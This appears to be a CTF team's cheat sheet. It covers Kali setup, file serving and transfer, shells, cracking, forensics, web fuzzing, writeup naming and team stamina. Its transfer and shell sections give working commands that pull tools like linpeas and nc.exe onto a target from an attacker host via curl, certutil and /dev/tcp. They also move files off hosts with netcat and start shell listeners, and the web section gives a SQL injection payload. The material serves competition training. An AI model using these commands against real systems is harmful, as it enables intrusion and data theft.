[THUGS(red)]

CTF tips & tricks

The commands we retype every event, the naming convention that keeps our writeups findable, and the human side — which is what actually decides where you place in a 48-hour event.

preparation

Preparation

Kali via Docker — fastest way to a shell

docker run -it --rm kalilinux/kali-rolling /bin/bash
# once inside, the ISO's toolset is one line away:
apt update && apt install -y kali-linux-headless

No VM, no ISO, gone when you exit --rm. Good for a quick tool you do not want to install on the host; not a substitute for a real Kali box on your own machine.

Kali on WSL2 (Windows)

wsl --install -d kali-linux
# then, inside the WSL shell:
sudo apt update && sudo apt full-upgrade -y
sudo apt install -y kali-linux-headless kali-win-kex

kali-win-kex gets you the full desktop over WSL if you want it. Parrot OS and BlackArch cover the same ground if Kali is not to your taste — the tooling below is distro-agnostic either way.

Bare metal or a VM — verify the ISO before you trust it

sha256sum kali-linux-*-installer-amd64.iso
# compare against the hash published on kali.org/get-kali — never a mirror's own page

A CTF box is a fine place to run untrusted binaries; the OS you booted it from is not the place to skip a checksum.

Python 2 back on a modern Kali/Debian

# Debian/Kali dropped python2 from the default install years ago; get it back explicitly
sudo apt install -y python2 python2-dev
curl -s https://bootstrap.pypa.io/pip/2.7/get-pip.py -o /tmp/get-pip2.py
sudo python2 /tmp/get-pip2.py

Half of exploit-db and a good few CTF pwn scripts still assume python2's print statement and str/bytes handling. This is the fastest path back to being able to run them.

python2 and python3 side by side, at fixed paths

# never touch /usr/bin/python — apt and the base system assume python3 lives there
sudo mkdir -p /opt/langs/bin
sudo ln -s "$(command -v python2)" /opt/langs/bin/python2
sudo ln -s "$(command -v python3)" /opt/langs/bin/python3
echo 'export PATH="/opt/langs/bin:$PATH"' >> ~/.bashrc

A dedicated path you control beats fighting update-alternatives every time a package upgrade resets it. python2 and python3 stay both callable by name, explicitly, forever.

Per-challenge virtualenvs (the reliable way to keep deps apart)

python3 -m venv .venv3 && source .venv3/bin/activate && deactivate
# python2 has no venv module of its own — use virtualenv instead
python2 -m pip install --user virtualenv
python2 -m virtualenv .venv2 && source .venv2/bin/activate

One challenge wanting pycrypto and another wanting pycryptodome is a daily CTF occurrence — a venv per challenge directory means neither install ever fights the other.

serving files

Serving files

Quick HTTP server in the current directory

python3 -m http.server 8000
# bind to one interface only:
python3 -m http.server 8000 --bind 10.10.14.7

The workhorse. Serves the directory you are standing in.

HTTP server that accepts uploads

python3 -m uploadserver 8000
# pip install uploadserver

When you need to get files off the box, not onto it.

PHP and Ruby one-liners

php -S 0.0.0.0:8000
ruby -run -e httpd . -p 8000

For when python is not on the box but something else is.

SMB share for Windows targets

impacket-smbserver share $(pwd) -smb2support
# with credentials, which modern Windows insists on:
impacket-smbserver share $(pwd) -smb2support -user ctf -password ctf

Then \\10.10.14.7\share from the target.

Instant FTP or TFTP

python3 -m pyftpdlib -p 21 -w
sudo python3 -m tftpy.TftpServer 69 .

Old protocols are still the easiest path off restricted hosts.

moving files

Moving files

Download to a target

curl -sO http://10.10.14.7:8000/linpeas.sh
wget -q http://10.10.14.7:8000/linpeas.sh
# no curl or wget:
exec 3<>/dev/tcp/10.10.14.7/8000; echo -e 'GET /f HTTP/1.0\n' >&3; cat <&3

The bash /dev/tcp trick works on stripped containers.

Windows download

certutil -urlcache -f http://10.10.14.7:8000/nc.exe nc.exe
powershell -c "iwr http://10.10.14.7:8000/nc.exe -OutFile nc.exe"

certutil is signed and present everywhere.

Transfer over netcat

# receiver
nc -lvnp 9001 > out.bin
# sender
nc 10.10.14.7 9001 < in.bin

No protocol overhead, no logs, no fuss.

Base64 through a shell

base64 -w0 file.bin
# on the other side:
echo '<paste>' | base64 -d > file.bin

When all you have is a text field or a blind shell.

shells

Shells

Upgrade a dumb shell to a real TTY

python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background with ^Z and:
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200

Gives you tab completion, arrow keys, and survives ^C.

Listener that does not die

rlwrap nc -lvnp 4444

rlwrap adds history and line editing to any listener.

encoding, hashes and crypto

Encoding, hashes and crypto

Identify and crack a hash

hashid '$2y$10$...'
hashcat -m 3200 hash.txt rockyou.txt
john --wordlist=rockyou.txt hash.txt

hashid first — cracking the wrong mode wastes hours.

XOR and frequency work

xortool -c 00 encrypted.bin
python3 -c "print(bytes(a^0x42 for a in open('f','rb').read()))"

Single-byte XOR is the most common lazy obfuscation.

RSA with small or shared factors

python3 RsaCtfTool.py --publickey key.pub --uncipherfile cipher.bin
# factordb is often enough:
curl 'http://factordb.com/api?query=<n>'

Always try factordb before anything clever.

forensics and stego

Forensics and stego

First four commands on any file

file suspicious.bin
strings -n 8 suspicious.bin | less
binwalk -e suspicious.bin
exiftool suspicious.bin

Or just drop it on our /dump page and read the report.

Images

zsteg -a image.png
steghide extract -sf image.jpg
stegsolve image.png

zsteg for PNG/BMP, steghide for JPEG with a passphrase.

PCAP triage

tshark -r capture.pcap -q -z io,phs
tshark -r capture.pcap -Y 'http.request' -T fields -e http.host -e http.request.uri
foremost -i capture.pcap -o carved/

Protocol hierarchy first — it tells you where to look.

web

Web

Content discovery

ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404
gobuster dir -u http://target -w wordlist.txt -x php,txt,bak

Filter by size once you see the default 404 body.

Subdomain and vhost fuzzing

ffuf -u http://target -H 'Host: FUZZ.target' -w subdomains.txt -fs 1234
subdigger -d target.com --json

Our own subdigger pulls certificate transparency in too.

SQLi and injection basics

sqlmap -u 'http://target/?id=1' --batch --dbs
# time-based check by hand:
' OR SLEEP(5)-- -

Do the manual check first; sqlmap is loud.

writeup naming

Naming your writeups

One convention, so a writeup is findable two years later by someone who was not there:

<ctf_name>_<category_name>_<challenge_name>.pdf
<ctf_name>_<category_name>_<challenge_name>.md

cyberapocalypse2026_web_saltcrown.md
hacklab2025_pwn_babyheap.pdf
squarectf2026_crypto_rsa-warmup.txt
  • Lower case, underscores between the three parts, dashes inside a part.
  • No spaces, no dates in the filename — the site records those.
  • PDF, Markdown or plain text. Markdown renders directly on the site, so it is the friendliest to read.

Upload through the writeup form and the competition, category and challenge become searchable fields — the filename is then only a fallback.

running an event

Organising the team during an event

  • One channel per category. #ctf-web, #ctf-pwn, #ctf-crypto. Cross-talk in one big channel means nobody can find anything at hour 20.
  • Claim before you start. Post "taking challenge" before you open it. Two people burning four hours on the same challenge is the most common way teams lose points.
  • Say what you tried and why. Even a failure is intel: "the LFI works but I cannot get past the extension filter" saves the next person an hour.
  • Post the flag and a two-line method the moment it lands. Not the full writeup — just enough that somebody else can build on it.
  • Keep a pinned scoreboard message of what is solved, claimed and stuck. Update it, or it is a lie by hour six.
  • Hand off deliberately. Going to sleep? Post your notes, your foothold and your access before you do.

Holding your place on a CTFd scoreboard

  • Sweep the easy challenges first. Dynamic scoring means an easy challenge everyone solves is worth almost nothing — but zero solves is worth exactly nothing.
  • Watch decay. On dynamic scoring, points fall as solves rise. Early solves on a hard challenge are worth several easy ones.
  • Do not hoard flags. Submit as you go. Teams that save submissions for a dramatic finish lose to a network outage.
  • Check for first-blood bonuses in the rules; if they exist, prioritise differently.
  • Re-read the challenge text when stuck. The hint you dismissed at hour two is usually the answer at hour twenty.
staying functional

The part nobody writes down

A 48-hour CTF is an endurance event. The team that places well is usually not the smartest one — it is the one still thinking clearly on Sunday morning.

  • Drink water. Genuinely. Most "I cannot think" moments at hour 30 are dehydration, not difficulty.
  • Go easy on the energy drinks. Three in a row buys you two good hours and costs you six. Alternate with water.
  • Eat something that is not crisps. Order real food early, before nobody has the energy to decide.
  • Power naps work. Twenty minutes beats another can. If you have been stuck for an hour, sleep is a legitimate debugging strategy.
  • Stand up and walk around. Every hour or two. An astonishing number of solutions arrive on the way to the kitchen.
  • Take real breaks. Staring harder at the same terminal is not progress.
  • Hit a wall? Hand it over. Post what you have and let someone else look. They will spot the obvious thing you stopped seeing three hours ago — this is not failure, it is how teams work.
  • Ask for help early. Nobody on this team thinks less of you for asking. We do think less of six wasted hours.
  • Say when you are done. "I am out, here are my notes" is a contribution. Silently disappearing is not.

And afterwards: write it up while you still remember. Tomorrow you will not.